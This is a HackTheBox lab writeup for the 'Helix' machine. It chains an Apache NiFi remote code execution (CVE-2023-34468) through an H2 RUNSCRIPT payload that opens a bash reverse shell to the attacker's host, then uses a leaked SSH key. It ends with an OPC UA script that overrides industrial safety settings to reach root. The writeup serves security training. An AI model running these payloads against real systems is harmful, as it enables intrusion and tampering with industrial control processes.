# Helix Writeup - HackTheBox

> A writeup covering enumeration, initial access, lateral movement, and privilege escalation through misconfigurations and internal service abuse.

- **URL:** https://hackindex.io/writeups/helix
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Linux
- **Machine:** https://hacktheboxltd.sjv.io/helix
- **Tags:** rce, nifi, ssh, privilege-escalation, sudo-misconfiguration, cve-2023-34468
- **Authors:** [Benslates](https://hackindex.io/authors/benslates.md)
- **Read time:** 9 min read
- **Published:** 2026-05-10
- **Updated:** 2026-08-17

## **1. Reconnaissance**

### **Fast TCP Port Scan**

Start with a fast scan to identify open ports quickly.

```bash
nmap -T5 --open $TARGET_IP
# Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-10 18:45 +0500
# Nmap scan report for $TARGET_IP
# Host is up (0.22s latency).
# Not shown: 986 closed tcp ports (reset), 12 filtered tcp ports (no-response)
# PORT   STATE SERVICE
# 22/tcp open  ssh
# 80/tcp open  http
# Nmap done: 1 IP address (1 host up) scanned in 6.84 seconds
```

Two ports are open: **SSH (22)** and **HTTP (80)**. Simple attack surface ,  let's dig deeper.

### **Service & Version Detection**

Run a detailed scan with service detection and default scripts against the two open ports.

```bash
nmap -sV -sC -p22,80 $TARGET_IP
# Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-10 18:46 +0500
# Nmap scan report for $TARGET_IP
# Host is up (0.50s latency).
#
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
# | ssh-hostkey:
# |   256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
# |_  256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
# 80/tcp open  http    nginx 1.18.0 (Ubuntu)
# |_http-server-header: nginx/1.18.0 (Ubuntu)
# |_http-title: Did not follow redirect to http://helix.htb/
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

The HTTP server redirects to `http://helix.htb/` ,  this tells us the web app is using **virtual hosting**. We need to add this hostname to our `/etc/hosts` file to resolve it.

### **Add Hostnames to hosts**

```bash
echo "$TARGET_IP helix.htb" | sudo tee -a /etc/hosts
# $TARGET_IP helix.htb
#
```

Now `helix.htb` resolves locally to the target IP. The site loads, but it appears largely static. Time to look for hidden virtual hosts.

## **2. Enumeration**

### **Virtual Host (VHost) Fuzzing**

Nginx uses the `Host` header to route requests to different applications. We fuzz for hidden subdomains using `ffuf`. The `-fs 21543` flag filters out responses that match the default page size (baseline), and `-fc 302` ignores redirects.

```bash
ffuf -u http://helix.htb \
  -H "Host: FUZZ.helix.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs 21543 \
  -fc 302
#         /'___\  /'___\           /'___\
#        /\ \__/ /\ \__/  __  __  /\ \__/
#        \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
#         \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
#          \ \_\   \ \_\  \ \____/  \ \_\
#           \/_/    \/_/   \/___/    \/_/
#        v2.1.0-dev
#
#  :: Method           : GET
#  :: URL              : http://helix.htb
#  :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
#  :: Header           : Host: FUZZ.helix.htb
#  :: Filter           : Response status: 302
#  :: Filter           : Response size: 21543
#
# flow    [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 1321ms]
# :: Progress: [4989/4989] :: Job [1/1] :: 96 req/sec :: Duration: [0:00:40] :: Errors: 0 ::
```

A subdomain `flow` is discovered. Add it to `/etc/hosts`.

```bash
echo "$TARGET_IP flow.helix.htb" | sudo tee -a /etc/hosts
# $TARGET_IP flow.helix.htb
#
```

### **Browsing to Apache NiFi**

Navigate to the discovered subdomain in your browser:

```bash
http://flow.helix.htb/nifi/
```

An **Apache NiFi** instance is running ,  completely exposed, no login required. NiFi is a powerful data flow automation tool that, when misconfigured with anonymous write access, is a direct path to RCE.

### **Verify Anonymous Write Permissions**

Confirm that the anonymous user has write access by querying the NiFi API directly.

```bash
curl -s http://flow.helix.htb/nifi-api/flow/current-user | jq
# {
#   "identity": "anonymous",
#   "anonymous": true,
#   "controllerPermissions": {
#     "canRead": true,
#     "canWrite": true
#   }
# }
```

`canWrite: true` for the **anonymous** user. This is the misconfiguration we'll exploit via **CVE-2023-34468**.

## **3. Initial Access ,  CVE-2023-34468 (Apache NiFi RCE)**

### **What is CVE-2023-34468?**

Apache NiFi 1.21.0 allows authenticated (or in this case, anonymous) users to configure database connection pools. The `DBCPConnectionPool` controller service can load the **H2 in-memory database driver**, which supports a `RUNSCRIPT` SQL command that fetches and executes arbitrary Java code ,  giving us full Remote Code Execution.

**The exploit chain:** `DBCPConnectionPool (H2 driver)` → `ExecuteSQL processor` → `RUNSCRIPT FROM <our_server>` → `Java Runtime.exec()` → **Reverse shell**

### **Create the Malicious SQL Payload**

Create a file called `rce.sql` on your attacking machine. This payload defines a Java method that executes a shell command, then calls it with a bash reverse shell.

```bash
nano rce.sql
```

Paste the following content ,  replace `<tun_ip>` with your own VPN/tun0 IP:

```sql
CREATE ALIAS SHELLEXEC AS $$
String shellexec(String cmd) throws java.io.IOException {
  String[] command = {"bash", "-c", cmd};
  java.util.Scanner s = new java.util.Scanner(
    Runtime.getRuntime().exec(command).getInputStream()
  ).useDelimiter("\\A");
  return s.hasNext() ? s.next() : "";
}
$$;
CALL SHELLEXEC('bash -c "bash -i >& /dev/tcp/<tun_ip>/5555 0>&1"')
```

### **Start HTTP Server and Netcat Listener**

Open **two separate terminals**.

**Terminal 1 ,  Serve the SQL payload:**

```bash
python3 -m http.server 4444
# Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ...
```

**Terminal 2 ,  Listen for the reverse shell:**

```bash
nc -lvnp 5555
# listening on [any] 5555 ...
```

### **Configure NiFi: Add DBCPConnectionPool Controller Service**

In your browser, navigate to `http://flow.helix.htb/nifi/` and follow these steps:

1. Click the **gear icon** (⚙) in the top-right of the NiFi canvas (Operate panel).
2. Go to the **Controller Services** tab.
3. Click the `+` button to add a new service.
4. Search for and select `DBCPConnectionPool`, then click **Add**.
5. Click the **pencil/edit icon** next to the new service to configure it.
6. Go to the **Properties** tab and set the following values:

| Property | Value |
| --- | --- |
| Database Connection URL | `jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;` |
| Database Driver Class Name | `org.h2.Driver` |
| Database Driver Location(s) | `/opt/nifi-1.21.0/lib/h2-2.1.214.jar` |

1. Click **Apply**.
2. Click the **lightning bolt icon** (⚡) to **enable** the controller service. Confirm when prompted.

The H2 jar path `/opt/nifi-1.21.0/lib/h2-2.1.214.jar` is specific to this box. The path in the original CVE disclosure PDF is incorrect for Helix.

### **Configure NiFi: Add ExecuteSQL Processor**

Back on the NiFi canvas:

1. Drag an `ExecuteSQL` processor onto the canvas from the toolbar (the processor icon looks like a box with a gear).
2. Double-click it (or right-click → **Configure**) to open the configuration dialog.
3. Go to the **Relationships** tab and set **both** `success` and `failure` to **Terminate** (check both boxes). This prevents NiFi from complaining about unconnected outputs.
4. Go to the **Properties** tab and set:

| Property | Value |
| --- | --- |
| Database Connection Pooling Service | `DBCPConnectionPool` (select from dropdown) |
| SQL select query | `RUNSCRIPT FROM 'http://<tun_ip>:4444/rce.sql'` |

1. Click **Apply**.

### **Trigger the Exploit**

1. Right-click the **ExecuteSQL** processor on the canvas.
2. Click **Start**.

Watch your terminals:

**Terminal 1 (HTTP server) ,  NiFi fetches the payload:**

```
$TARGET_IP - - [10/May/2026 19:04:23] "GET /rce.sql HTTP/1.1" 200 -
```

**Terminal 2 (Netcat listener) ,  Reverse shell connects:**

```bash
nc -lvnp 5555
# listening on [any] 5555 ...
# connect to [<tun_ip>] from (UNKNOWN) [$TARGET_IP] 36514
# bash: cannot set terminal process group (973): Inappropriate ioctl for device
# bash: no job control in this shell
# nifi@helix:/opt/nifi-1.21.0$
#
```

We have a shell as the `nifi` service account. Now let's escalate to a real user.

## **4. Lateral Movement ,  SSH Key Discovery**

### **Enumerate NiFi Support Bundles**

NiFi stores diagnostic support bundles in a dedicated directory. Let's check if anything interesting was left there.

```bash
cd /opt/nifi-1.21.0/support-bundles
ls
# operator_id_ed25519.bak
```

A **backup of an SSH private key** for the `operator` user sitting in plain text inside NiFi's support directory. This is a serious misconfiguration.

### **Save the Key and SSH as **`operator`

**On your attacking machine**, save the key to a file and lock down its permissions (SSH will refuse to use a key with loose permissions).

```bash
nano operator_id_ed25519
# Paste the key contents, save and exit
chmod 600 operator_id_ed25519
```

Now SSH into the target as `operator`:

```bash
ssh -i operator_id_ed25519 operator@$TARGET_IP
# The authenticity of host '$TARGET_IP ($TARGET_IP)' can't be established.
# ED25519 key fingerprint is: SHA256:nGwNnXA5oCIEMCxZ3joJWy3usUFUt70Wqy72RayvMNA
# Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
# Warning: Permanently added '$TARGET_IP' (ED25519) to the list of known hosts.
# Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)
#
#   System load:  0.18          Users logged in: 0
#   Usage of /:   86.9% of 6.52GB
#   Memory usage: 38%
#
# operator@helix:~$ cat user.txt
#
#
```

User flag obtained.

## **5. Privilege Escalation ,  OPC UA Abuse**

### **Check Sudo Permissions**

```bash
sudo -l
# Matching Defaults entries for operator on helix:
#     env_reset, mail_badpass,
#     secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
#     use_pty
#
# User operator may run the following commands on helix:
#     (root) NOPASSWD: /usr/local/sbin/helix-maint-console
```

We can run `helix-maint-console` as root with no password. Let's see what it does.

### **Inspect the Maintenance Console Script**

```bash
cat /usr/local/sbin/helix-maint-console
```

```python
#!/bin/bash
set -euo pipefail
FLAG="/opt/helix/state/maintenance_window"

read_until() { cat "$FLAG" 2>/dev/null || true; }

window_ok() {
  [ -f "$FLAG" ] || return 1
  local until_ts now
  until_ts="$(read_until)"
  now="$(date +%s)"
  [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
  [ "$now" -lt "$until_ts" ] || return 1
  return 0
}

if ! window_ok; then
  echo "Maintenance window CLOSED."
  exit 1
fi

until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))
echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"

SCOPE="helix-maint-$$"
systemd-run --quiet --scope --unit="$SCOPE" \
  --property=KillMode=control-group --property=SendSIGHUP=yes \
  /bin/bash -p -i
exit 0
```

The script checks whether a **maintenance window** is currently active by reading a timestamp from `/opt/helix/state/maintenance_window`. If the current time is before that timestamp, it grants a **root shell**. We cannot write that file directly ,  something else must control it.

### **Discover Internal OT/ICS Services**

Check what services are listening internally on the machine.

```bash
ss -tlnp
# State   Recv-Q Send-Q  Local Address:Port   Peer Address:Port
# LISTEN  0      4096    127.0.0.53%lo:53          0.0.0.0:*
# LISTEN  0      128           0.0.0.0:22          0.0.0.0:*
# LISTEN  0      511           0.0.0.0:80          0.0.0.0:*
# LISTEN  0      128         127.0.0.1:8081        0.0.0.0:*
# LISTEN  0      50          127.0.0.1:8080        0.0.0.0:*
# LISTEN  0      50          127.0.0.1:34911       0.0.0.0:*
# LISTEN  0      100         127.0.0.1:4840        0.0.0.0:*
# LISTEN  0      128              [::]:22              [::]:*
# LISTEN  0      50   [::ffff:127.0.0.1]:36917         *:*
```

Two interesting internal services:

- **Port 4840** ,  OPC UA (OPC Unified Architecture), an industrial IoT/ICS protocol
- **Port 8081** ,  HMI (Human-Machine Interface)

The **OPC UA server** is the mechanism controlling the maintenance window. We need to interact with it to trigger the right conditions.

### **Create an SSH Tunnel for OPC UA**

OPC UA is only listening on `127.0.0.1:4840` on the target. We'll use SSH local port forwarding to bring that port to our attacking machine.

**Open a new terminal on your attacking machine:**

```bash
ssh -i operator_id_ed25519 -L 4840:127.0.0.1:4840 operator@$TARGET_IP
# Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)
# ...
# operator@helix:~$
```

Keep this terminal open. The tunnel maps `localhost:4840` on your Kali machine to `127.0.0.1:4840` on the target. Leave this session running while you execute the exploit.

### **Install the Python OPC UA Library**

On your attacking machine (in a separate terminal), install the `asyncua` library needed to communicate with OPC UA servers.

```bash
python3 -m venv .venv
source .venv/bin/activate
pip3 install asyncua
```

### **Create the OPC UA Exploit Script**

Create a Python script that connects to the OPC UA server through our tunnel and manipulates the industrial process state to open the maintenance window.

```bash
nano open_window.py
# #!/usr/bin/env python3
# import asyncio
# from asyncua import Client, ua
#
# URL = "opc.tcp://127.0.0.1:4840/helix/"
#
# async def main():
#     async with Client(url=URL) as c:
#         # Get the namespace index for the Helix OT namespace
#         ns = await c.get_namespace_index("urn:helix:ot")
#
#         # Helper to get a node by integer ID in our namespace
#         N = lambda i: c.get_node(f"ns={ns};i={i}")
#
#         # Map the relevant OPC UA nodes to variables
#         Mode, TestOv, Calib = N(12), N(13), N(6)
#         Temp, Press, Trip   = N(4),  N(5),  N(10)
#
#         # Step 1: Switch the system mode to MAINTENANCE
#         await Mode.write_value(
#             ua.Variant("MAINTENANCE", ua.VariantType.String)
#         )
#
#         # Step 2: Enable the test override flag
#         await TestOv.write_value(
#             ua.Variant(True, ua.VariantType.Boolean)
#         )
#
#         # Step 3: Increment the calibration offset until temperature or
#         # pressure crosses the threshold that opens the maintenance window
#         for off in (12.0, 16.0, 20.0, 25.0, 30.0):
#             await Calib.write_value(
#                 ua.Variant(off, ua.VariantType.Double)
#             )
#             await asyncio.sleep(1.5)  # Wait for sensor values to update
#
#             t  = await Temp.read_value()
#             p  = await Press.read_value()
#             tr = await Trip.read_value()
#
#             print(f"calib={off}: T={t} P={p} Trip={tr}")
#
#             # Threshold: temp >= 295K or pressure >= 73 bar, with no trip active
#             if (t >= 295 or p >= 73) and not tr:
#                 print("[+] Maintenance window should open")
#                 break
#
# asyncio.run(main())
```

**What this script does:**

| Action | Node ID | Purpose |
| --- | --- | --- |
| Set Mode = `"MAINTENANCE"` | `ns=X;i=12` | Puts the OT system into maintenance mode |
| Set TestOverride = `True` | `ns=X;i=13` | Bypasses normal safety interlocks |
| Increment Calibration offset | `ns=X;i=6` | Artificially raises sensor readings |
| Read Temperature | `ns=X;i=4` | Monitor the current temp value |
| Read Pressure | `ns=X;i=5` | Monitor the current pressure value |
| Read Trip status | `ns=X;i=10` | Ensure the safety trip hasn't fired |

### **Run the Exploit**

```bash
python3 open_window.py
# calib=12.0: T=296.0724950403895 P=69.03918615274698 Trip=False
# [+] Maintenance window should open
```

At calibration offset `12.0`, the temperature (`296 K`) crosses the `295 K` threshold while the trip remains inactive. The OPC UA server writes a future timestamp to `/opt/helix/state/maintenance_window`, opening the window.

### **Execute the Maintenance Console**

**Quickly switch back to your **`operator`** SSH session** (not the tunnel terminal) and run the maintenance console **before the window closes**:

```bash
sudo /usr/local/sbin/helix-maint-console
# [+] Privileged maintenance access granted
# [!] Window expires in 85 seconds
# [!] Session will be terminated automatically
# root@helix:/home/operator#
```

We have a **root shell**! The script launched an interactive `/bin/bash -p` session running as root via `systemd-run`.

Related
